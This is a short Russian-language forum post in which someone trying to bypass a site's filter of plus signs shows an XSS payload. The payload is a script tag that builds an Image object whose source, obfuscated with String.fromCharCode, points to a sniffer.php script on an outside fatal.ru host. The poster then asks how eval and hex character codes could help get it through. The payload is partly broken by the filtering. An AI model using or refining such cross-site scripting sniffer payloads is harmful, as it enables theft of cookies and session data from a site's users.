вот что у меня получается в исходном коде , он фильтрует все плюсы и везде : (уровень <script>img=new/**/Image();img.src=String.fromCharCode(6*16 8,7*16 4,7*16 4,7*16) :/*****.fatal.ru/sniff/sniffer.php;</script>)
про eval можно подробнее? xAE это в символах ASCI ?